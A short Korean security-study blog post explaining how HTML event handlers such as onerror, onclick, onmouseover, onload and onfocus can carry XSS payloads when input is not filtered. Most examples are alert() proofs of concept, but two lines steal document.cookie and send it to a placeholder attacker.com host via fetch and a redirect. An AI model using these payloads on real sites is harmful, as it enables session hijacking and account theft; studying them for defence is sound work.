이벤트 핸들러가 실행되는 곳에서 사용자 입력값을 신뢰하고 이를 적절히 검증하거나
필터링하지 않을 경우 XSS의 공격에 노출이 될 위험이 높습니다
Event Handler가 XSS 공격에 취약한 이유
이미지 로딩 실패 시 실행되는 이벤트 핸들러를 악용
<img src="i.jpg" onerror="alert('ser_ser');">
활용 방법:
잘못된 이미지 경로를 의도적으로 사용해 에러를 유발했으며
데이터 유출 코드 작성
<img src="i.jpg" onerror="fetch('https://attacker.com?cookie=' + document.cookie);">
클릭 이벤트 악용
<button onclick="alert('ser_ser');">다음</button>
![]() |
![]() |
활용 방법:
사용자가 클릭하면 데이터를 수집 및 리다이렉트
<button onclick="location.href='https://attacker.com?cookie=' + document.cookie;"> 다음 </button>
사용자가 특정 요소 위에 마우스를 올릴 때 발생하는 트리거를 악용
<div onmouseover="alert('ser_ser');">더 보기 </div>
![]() |
![]() |
페이지 로딩이 완료되었을 때 실행되는 이벤트를 악용
<body onload="alert('ser_ser');">
사용자가 입력 필드에 초점을 맞추거나 초점이 벗어날 때 실행되는 것을 악용
<input type="text" onfocus="alert('ser_ser');">
![]() |
![]() |
CSRF (0) | 2025.01.14 |
---|---|
HTML Entity (1) | 2024.12.31 |
XSS 쿠키탈취 (0) | 2024.12.21 |
XSS (1) | 2024.12.12 |
SQL Injection Point 찾기 (2) | 2024.12.06 |